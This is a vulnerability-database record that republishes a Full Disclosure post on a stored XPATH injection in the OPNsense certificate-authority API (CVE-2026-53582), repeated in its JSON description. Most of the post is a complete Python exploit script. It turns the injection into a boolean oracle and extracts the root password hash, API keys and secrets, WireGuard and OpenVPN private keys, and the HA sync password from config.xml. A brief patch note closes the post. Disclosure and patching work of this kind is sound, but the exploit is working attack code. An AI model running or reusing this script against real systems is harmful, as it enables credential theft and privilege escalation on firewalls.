GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Search

Find a vulnerability

Search criteria

    1 vulnerability by Opnsense

    GCVE-1988-2026-0022

    Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
    VLAI
    Title
    OPNsense XPATH Injection (CVE-2026-53582)
    Summary
    SUMMARY: a stored XPATH injection allows any user with just ca manager/certificate manager perms to leak any secret key/any value in config.xml, thus achieving privilege escalation and potentially remote code execution. this can also likely be chained via csrf and some clever hiding. see https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r == VULN == the primary vulnerable sink is here: $refcount = count(Config::getInstance()->object()->xpath("//*[text() = '{$node->refid}']")) - 1; as we control node->refid, which can be seen in here: protected function setBaseHook($node) { if (empty((string)$node->refid)) { $node->refid = uniqid(); } $error = false; if (!empty((string)$node->prv_payload)) { /** private key manually offered */ $node->prv = base64_encode((string)$node->prv_payload); } we know that if refid is empty it'll be a uniqid - which means its meant to be alphanumeric. notably, there are no preg_match/regex matches that check whether or not a user supplied refid isnt alphanumeric. in this case, we can now test this by hitting this endpoint: POST /api/trust/ca/add HTTP/12.1 Content-Type: application/x-www-form-urlencoded ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf () example com to truly exploit this we can write a script that turns the xpath injection we have into a decent boolean oracle, then slowly leak each character. for example, an openvpn private key or a root password hash. == xp == import argparse import string import sys import random import threading from concurrent.futures import ThreadPoolExecutor from queue import Queue import requests import urllib3 urllib3.disable_warnings() # yeah idk dude iiwiw lol targs = { "wgppk": "//OPNsense/wireguard/server/servers/server/privkey", "wgpsk": "//OPNsense/wireguard/client/clients/client/psk", "hasyncpw": "//hasync/password", "roothash": "//system/user/password", "rootkey": "//system/user/apikeys/item/key", "rootsecret": "//system/user/apikeys/item/secret", "openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key" } cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; ")) # print("".join(cset)) makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__" total = 0 lock = threading.Lock() # mega ass def sesh(a): s = requests.Session() s.auth = a s.verify = False return s def prober(s, base, n): canary = makecanary() r = s.post(f"{base}/api/trust/ca/add", data={ "ca[refid]": canary, "ca[descr]": f"p{n}", "ca[action]": "internal", "ca[commonname]": f"p{n}", }, timeout=30) return r.json().get("uuid", "n/a"), canary def inj(s, base, ca_uuid, nx, condition): global total payload = f"{nx}' or ({condition}) or 'x'='" s.post( f"{base}/api/trust/ca/set/{ca_uuid}", data={"ca[refid]": payload}, timeout=30, ) r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30) with lock: total += 1 ca = r.json().get("ca", {}) # refcount = int(ca["refcount"]) refcount = int(ca.get("refcount", "0")) return refcount > 0 def getlen(s, base, ca, nx, xpath): lo, hi = 0, 300 while lo < hi: mid = (lo + hi + 1) // 2 if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"): lo = mid else: hi = mid - 1 return lo def binsrch(s, base, ca, nx, xpath, pos): cands = cset[:] while len(cands) > 1: midpoint = len(cands) // 2 half = "".join(cands[:midpoint]) cond = f"contains('{half}', substring({xpath},{pos},1))" if inj(s, base, ca, nx, cond): cands = cands[:midpoint] else: cands = cands[midpoint:] c = cands[0] if c == "'": lit = f'"{c}"' else: lit = f"'{c}'" cond = f"substring({xpath},{pos},1)={lit}" if inj(s, base, ca, nx, cond): return c return None def extract(workers, base, xpath): s0, ca0, nx0 = workers[0] length = getlen(s0, base, ca0, nx0, xpath) if length == 0: return "" print(f"+ maybe {length} len") result = ["?"] * length wq = Queue() for w in workers: wq.put(w) # start grabbing def do(pos): s, ca, nx = wq.get() try: return pos, binsrch(s, base, ca, nx, xpath, pos + 1) finally: wq.put((s, ca, nx)) with ThreadPoolExecutor(max_workers=len(workers)) as pool: # for pos, ch in pool.map(doer_func(p), range(length)): for pos, ch in pool.map(lambda p: do(p), range(length)): if ch: result[pos] = ch sys.stdout.write(ch or "#") sys.stdout.flush() print() return "".join(result) def main(): global total print("xray") target_names = list(targs.keys()) target_list = "\n".join(f"{k}:{v}" for k, v in targs.items()) # i gave it a bs name parser = argparse.ArgumentParser( description="x-ray", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="extractables:\n" + target_list, ) parser.add_argument("targ", help="base url") parser.add_argument("api_key", help="you need this") parser.add_argument("api_secret", help="this too") parser.add_argument("target", nargs="?", default="all", choices=target_names + ["all"], help="target to extract") parser.add_argument("-w", "--workers", type=int, default=8, help="how many workers in parallel") args = parser.parse_args() base = args.targ.rstrip("/") auth = (args.api_key, args.api_secret) s = sesh(auth) r = s.get(f"{base}/api/trust/ca/search", timeout=10) if r.status_code != 200: print("- bro") sys.exit(1) print("+ oh sweet we can access the ca api") workers = [] for i in range(args.workers): ws = sesh(auth) uuid, nx = prober(ws, base, i) if not uuid: print("creating probe failed (prober)") sys.exit(1) workers.append((ws, uuid, nx)) print(f"+ {args.workers} probing\n") # extract if args.target == "all": targets = targs else: targets = {args.target: targs[args.target]} for name, xpath in targets.items(): print(f"+ {name}") s0, ca0, nx0 = workers[0] if not inj(s0, base, ca0, nx0, f"boolean({xpath})"): print("n/a") continue val = extract(workers, base, xpath) print(f"{repr(val)} ({total} reqs)\n") # finally: # nvm # cleanup but not really beacuse im lazy for ws, ca, nx in workers: ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30) print(f"+ done {total}") if __name__ == "__main__": main() == PATCH/MITIG == update to 26.1.10. alternatively, add a preg_match guard and an input mask to Ca.xml by hand (if youre about that life) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Impacted products
    Credits

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "OPNsense XPATH Injection",
              "vendor": "Opnsense",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "evan"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "SUMMARY: a stored XPATH injection allows any user with just ca\nmanager/certificate manager perms to leak any secret key/any value in\nconfig.xml, thus achieving privilege escalation and potentially remote\ncode execution. this can also likely be chained via csrf and some\nclever hiding. see\nhttps://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r\n\n\n== VULN ==\nthe primary vulnerable sink is here:\n\n$refcount = count(Config::getInstance()-\u003eobject()-\u003expath(\"//*[text() =\n\u0027{$node-\u003erefid}\u0027]\")) - 1;\n\nas we control node-\u003erefid, which can be seen in here:\n\n protected function setBaseHook($node)\n    {\n        if (empty((string)$node-\u003erefid)) {\n            $node-\u003erefid = uniqid();\n        }\n        $error = false;\n        if (!empty((string)$node-\u003eprv_payload)) {\n            /** private key manually offered */\n            $node-\u003eprv = base64_encode((string)$node-\u003eprv_payload);\n        }\n\nwe know that if refid is empty it\u0027ll be a uniqid - which means its\nmeant to be alphanumeric. notably, there are no preg_match/regex\nmatches that check whether or not a user supplied refid isnt\nalphanumeric. in this case, we can now test this by hitting this\nendpoint:\n\nPOST /api/trust/ca/add HTTP/12.1\nContent-Type: application/x-www-form-urlencoded\n\nca[refid]=\u003cpayload\u003e\u0026ca[descr]=hi+lol\u0026ca[action]=internal\u0026ca[commonname]=hey\u0026ca[key_type]=2048\u0026ca[digest]=sha256\u0026ca[lifetime]=825\u0026ca[country]=NL\u0026ca[state]=idk\u0026ca[city]=lo\u0026ca[organization]=x\u0026ca[email]=asdf\n () example com\n\nto truly exploit this we can write a script that turns the xpath\ninjection we have into a decent boolean oracle, then slowly leak each\ncharacter. for example, an openvpn private key or a root password\nhash.\n\n\n== xp ==\n\nimport argparse\nimport string\nimport sys\nimport random\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nfrom queue import Queue\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n# yeah idk dude iiwiw lol\n\ntargs = {\n    \"wgppk\": \"//OPNsense/wireguard/server/servers/server/privkey\",\n    \"wgpsk\": \"//OPNsense/wireguard/client/clients/client/psk\",\n    \"hasyncpw\": \"//hasync/password\",\n    \"roothash\": \"//system/user/password\",\n    \"rootkey\": \"//system/user/apikeys/item/key\",\n    \"rootsecret\": \"//system/user/apikeys/item/secret\",\n    \"openvpnkey\": \"//OPNsense/OpenVPN/Instances/Instance/key\"\n}\n\ncset = sorted(set(string.ascii_letters + string.digits + \"+/=$._-:; \"))\n# print(\"\".join(cset))\n\n\nmakecanary = lambda: f\"__TUNG_{random.randint(100000, 999999)}__\"\n\ntotal = 0\nlock = threading.Lock()\n\n# mega ass\ndef sesh(a):\n    s = requests.Session()\n    s.auth = a\n    s.verify = False\n    return s\n\n\ndef prober(s, base, n):\n    canary = makecanary()\n    r = s.post(f\"{base}/api/trust/ca/add\", data={\n        \"ca[refid]\": canary, \"ca[descr]\": f\"p{n}\",\n        \"ca[action]\": \"internal\", \"ca[commonname]\": f\"p{n}\",\n    }, timeout=30)\n    return r.json().get(\"uuid\", \"n/a\"), canary\n\n\ndef inj(s, base, ca_uuid, nx, condition):\n    global total\n    payload = f\"{nx}\u0027 or ({condition}) or \u0027x\u0027=\u0027\"\n    s.post(\n        f\"{base}/api/trust/ca/set/{ca_uuid}\",\n        data={\"ca[refid]\": payload},\n        timeout=30,\n    )\n    r = s.get(f\"{base}/api/trust/ca/get/{ca_uuid}\", timeout=30)\n    with lock:\n        total += 1\n    ca = r.json().get(\"ca\", {})\n    # refcount = int(ca[\"refcount\"])\n    refcount = int(ca.get(\"refcount\", \"0\"))\n    return refcount \u003e 0\n\n\ndef getlen(s, base, ca, nx, xpath):\n    lo, hi = 0, 300\n    while lo \u003c hi:\n        mid = (lo + hi + 1) // 2\n        if inj(s, base, ca, nx, f\"string-length({xpath})\u003e={mid}\"):\n            lo = mid\n        else:\n            hi = mid - 1\n    return lo\n\n\ndef binsrch(s, base, ca, nx, xpath, pos):\n    cands = cset[:]\n    while len(cands) \u003e 1:\n        midpoint = len(cands) // 2\n        half = \"\".join(cands[:midpoint])\n        cond = f\"contains(\u0027{half}\u0027, substring({xpath},{pos},1))\"\n        if inj(s, base, ca, nx, cond):\n            cands = cands[:midpoint]\n        else:\n            cands = cands[midpoint:]\n\n    c = cands[0]\n    if c == \"\u0027\":\n        lit = f\u0027\"{c}\"\u0027\n    else:\n        lit = f\"\u0027{c}\u0027\"\n\n    cond = f\"substring({xpath},{pos},1)={lit}\"\n    if inj(s, base, ca, nx, cond):\n        return c\n    return None\n\n\ndef extract(workers, base, xpath):\n    s0, ca0, nx0 = workers[0]\n    length = getlen(s0, base, ca0, nx0, xpath)\n    if length == 0:\n        return \"\"\n    print(f\"+ maybe {length} len\")\n\n    result = [\"?\"] * length\n\n    wq = Queue()\n    for w in workers:\n        wq.put(w)\n    # start grabbing\n    def do(pos):\n        s, ca, nx = wq.get()\n        try:\n            return pos, binsrch(s, base, ca, nx, xpath, pos + 1)\n        finally:\n            wq.put((s, ca, nx))\n\n    with ThreadPoolExecutor(max_workers=len(workers)) as pool:\n       # for pos, ch in pool.map(doer_func(p), range(length)):\n        for pos, ch in pool.map(lambda p: do(p), range(length)):\n            if ch:\n                result[pos] = ch\n            sys.stdout.write(ch or \"#\")\n            sys.stdout.flush()\n\n    print()\n    return \"\".join(result)\n\n\ndef main():\n    global total\n    print(\"xray\")\n    target_names = list(targs.keys())\n    target_list = \"\\n\".join(f\"{k}:{v}\" for k, v in targs.items())\n    # i gave it a bs name\n    parser = argparse.ArgumentParser(\n        description=\"x-ray\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=\"extractables:\\n\" + target_list,\n    )\n    parser.add_argument(\"targ\", help=\"base url\")\n    parser.add_argument(\"api_key\", help=\"you need this\")\n    parser.add_argument(\"api_secret\", help=\"this too\")\n    parser.add_argument(\"target\", nargs=\"?\", default=\"all\",\nchoices=target_names + [\"all\"], help=\"target to extract\")\n    parser.add_argument(\"-w\", \"--workers\", type=int, default=8,\nhelp=\"how many workers in parallel\")\n    args = parser.parse_args()\n\n    base = args.targ.rstrip(\"/\")\n    auth = (args.api_key, args.api_secret)\n\n\n    s = sesh(auth)\n    r = s.get(f\"{base}/api/trust/ca/search\", timeout=10)\n    if r.status_code != 200:\n        print(\"- bro\")\n        sys.exit(1)\n    print(\"+ oh sweet we can access the ca api\")\n\n\n    workers = []\n\n    for i in range(args.workers):\n        ws = sesh(auth)\n        uuid, nx = prober(ws, base, i)\n        if not uuid:\n            print(\"creating probe failed (prober)\")\n            sys.exit(1)\n        workers.append((ws, uuid, nx))\n    print(f\"+ {args.workers} probing\\n\")\n\n    # extract\n    if args.target == \"all\":\n        targets = targs\n    else:\n        targets = {args.target: targs[args.target]}\n    for name, xpath in targets.items():\n        print(f\"+ {name}\")\n        s0, ca0, nx0 = workers[0]\n        if not inj(s0, base, ca0, nx0, f\"boolean({xpath})\"):\n            print(\"n/a\")\n            continue\n        val = extract(workers, base, xpath)\n        print(f\"{repr(val)}  ({total} reqs)\\n\")\n    # finally: # nvm\n    # cleanup but not really beacuse im lazy\n    for ws, ca, nx in workers:\n    ws.post(f\"{base}/api/trust/ca/set/{ca}\", data={\"ca[refid]\": nx}, timeout=30)\n    print(f\"+ done {total}\")\n\n\nif __name__ == \"__main__\":\n    main()\n\n\n== PATCH/MITIG ==\n\nupdate to 26.1.10. alternatively, add a preg_match guard and an input\nmask to Ca.xml by hand (if youre about that life)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-09T10:11:58Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description",
                "exploit"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Jul/18"
            },
            {
              "url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Jul/18"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "OPNsense XPATH Injection (CVE-2026-53582)",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2026-0022",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18",
                "automated": true,
                "contentSha256": "f2fd662c60bf7a79731c49d8575d20f4fef0d531037d854d1e62a37da499b1d9",
                "evidenceScore": 9,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/18",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-07-03T10:56:32Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-09-07T13:20:20Z",
        "dateUpdated": "2026-09-09T10:11:58Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0022"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }